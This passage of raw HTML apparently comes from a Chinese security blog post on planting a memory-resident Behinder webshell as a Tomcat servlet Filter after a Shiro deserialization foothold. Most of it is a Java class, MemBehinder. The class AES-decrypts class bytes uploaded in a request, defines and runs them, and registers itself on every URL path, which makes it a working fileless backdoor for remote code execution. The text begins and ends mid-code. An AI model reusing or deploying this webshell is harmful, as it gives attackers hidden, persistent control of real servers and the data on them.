border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">    public ServletResponse getResponse() {</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">        return this.response;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">    }</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">}</span></code></pre></section><p style="box-sizing: border-box;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">我们可以尝试注入一下，这里我起了一个简单的shiro+springboot的环境</p><figure style="box-sizing: border-box;display: flex;margin-top: 10px;margin-bottom: 10px;flex-direction: column;justify-content: center;align-items: center;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><img data-ratio="0.17313915857605178" style="box-sizing: border-box;vertical-align: middle;border-style: none;display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="2472" src="https://wechat2rss.xlab.app/img-proxy/?k=7fbe2af0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvfjyz1LBibkY4KW1AceK8VQvToBYamwXvYkEIA29pbpaOACAeTTpibUpkck30wiclzk8NBCXpucnXK9Q%2F640%3Fwx_fmt%3Dpng"/><figcaption style="box-sizing: border-box;margin-top: 5px;text-align: center;color: rgb(136, 136, 136);font-size: 14px;">image-20200723214821668</figcaption></figure><blockquote style="box-sizing: border-box;margin-top: 20px;margin-bottom: 20px;font-size: 0.9em;overflow: auto;border-left-color: rgba(0, 0, 0, 0.4);background: rgba(0, 0, 0, 0.05);color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;"><p style="box-sizing: border-box;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">Ps:从github上直接找的环境，可能因为原生不带有commom-collection的包，所以无法打成功</p></blockquote><figure style="box-sizing: border-box;display: flex;margin-top: 10px;margin-bottom: 10px;flex-direction: column;justify-content: center;align-items: center;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><img data-ratio="0.5214646464646465" style="box-sizing: border-box;vertical-align: middle;border-style: none;display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1584" src="https://wechat2rss.xlab.app/img-proxy/?k=7f33ae9e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvfjyz1LBibkY4KW1AceK8VQv3ic4g6p3ln38opW0R1T5Mm7RLibe9QJJVZTibbAYzxN9EwfwUfZhrXY4g%2F640%3Fwx_fmt%3Dpng"/><figcaption style="box-sizing: border-box;margin-top: 5px;text-align: center;color: rgb(136, 136, 136);font-size: 14px;">image-20200723215145822</figcaption></figure><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li style="box-sizing: border-box;"><section style="box-sizing: border-box;margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><p style="box-sizing: border-box;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">这时候我们在VM中查看一下</p><figure style="box-sizing: border-box;display: flex;margin-top: 10px;margin-bottom: 10px;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.17313915857605178" style="box-sizing: border-box;vertical-align: middle;border-style: none;display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="2472" src="https://wechat2rss.xlab.app/img-proxy/?k=7fbe2af0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvfjyz1LBibkY4KW1AceK8VQvToBYamwXvYkEIA29pbpaOACAeTTpibUpkck30wiclzk8NBCXpucnXK9Q%2F640%3Fwx_fmt%3Dpng"/><figcaption style="box-sizing: border-box;margin-top: 5px;text-align: center;color: rgb(136, 136, 136);font-size: 14px;">image-20200723215635157</figcaption></figure></section></li></ul><p style="box-sizing: border-box;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">发现我们成功注入了一个class，然后我天真的以为只需要像reGeorge一样，把代码复制进去即可</p><p style="box-sizing: border-box;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">所以有了初始版本的Filter内存冰蝎</p><h2 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 22px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;">踩坑继续</span><span style="box-sizing: border-box;"></span></h2><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang=""><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">package reGeorg;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">import javax.servlet.*;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">import java.io.IOException;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">import javax.crypto.Cipher;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">import javax.crypto.spec.SecretKeySpec;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">import javax.el.ELContext;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">import javax.servlet.http.*;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">import javax.servlet.jsp.JspWriter;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">import javax.servlet.jsp.PageContext;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">import javax.servlet.jsp.el.ExpressionEvaluator;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">import javax.servlet.jsp.el.VariableResolver;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">import java.util.Enumeration;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">import java.util.UUID;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">public class MemBehinder implements javax.servlet.Filter{</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">    @Override</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">    public void init(FilterConfig filterConfig) throws ServletException {</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">    }</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">    @Override</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">        class User extends ClassLoader {</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">            User(ClassLoader c) {</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">                super(c);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">            }</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">            public Class getUsername(byte[] b) {</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">                return super.defineClass(b, 0, b.length);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">            }</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">        }</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">        HttpServletRequest request = (HttpServletRequest) servletRequest;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">        HttpServletResponse response = (HttpServletResponse) servletResponse;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">        HttpSession session = request.getSession();</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">        response.setHeader(&#34;flora&#34;, &#34;florasa!!!&#34;);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">        if (request.getParameter(&#34;pass&#34;) != null) {</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">            String k = (&#34;&#34; + UUID.randomUUID()).replace(&#34;-&#34;, &#34;&#34;).substring(16);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">            session.putValue(&#34;u&#34;, k);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">            response.getWriter().print(k);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">            return;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">        }</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">        try{</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">            PageContext pageContext = new PageContext(servletRequest,servletResponse);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">            Cipher c = Cipher.getInstance(&#34;AES&#34;);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">            SecretKeySpec sec = new SecretKeySpec((session.getValue(&#34;u&#34;) + &#34;&#34;).getBytes(), &#34;AES&#34;);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">            c.init(2, sec);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">            String uploadString = request.getReader().readLine();</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">            ClassLoader loader = this.getClass().getClassLoader();</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">            User user = new User(loader);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">            byte[] username = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(uploadString));</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">            Class username1 = user.getUsername(username);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">            username1.newInstance().equals(pageContext);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">        }catch (Exception ignored){</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">            ;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">        }</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">        filterChain.doFilter(request, response);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">    }</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">    @Override</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">    public void destroy() {</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">    }</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">    public boolean equals(Object obj) {</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">        Object[] context = (Object[]) obj;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">        javax.servlet.http.HttpServletRequest request = (javax.servlet.http.HttpServletRequest) context[0];</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">        org.apache.catalina.connector.Response response = (org.apache.catalina.connector.Response) context[1];</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">        javax.servlet.http.HttpSession session = (javax.servlet.http.HttpSession) context[2];</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">        try {</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">            dynamicAddFilter(new MemBehinder(), &#34;Behinder&#34;, &#34;/*&#34;, request);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">        } catch (IllegalAccessException e) {</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">            e.printStackTrace();</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">        }</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">        return true;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">    }</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">    public static void dynamicAddFilter(javax.servlet.Filter filter, String name, String url, javax.servlet.http.HttpServletRequest request) throws IllegalAccessException {</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" 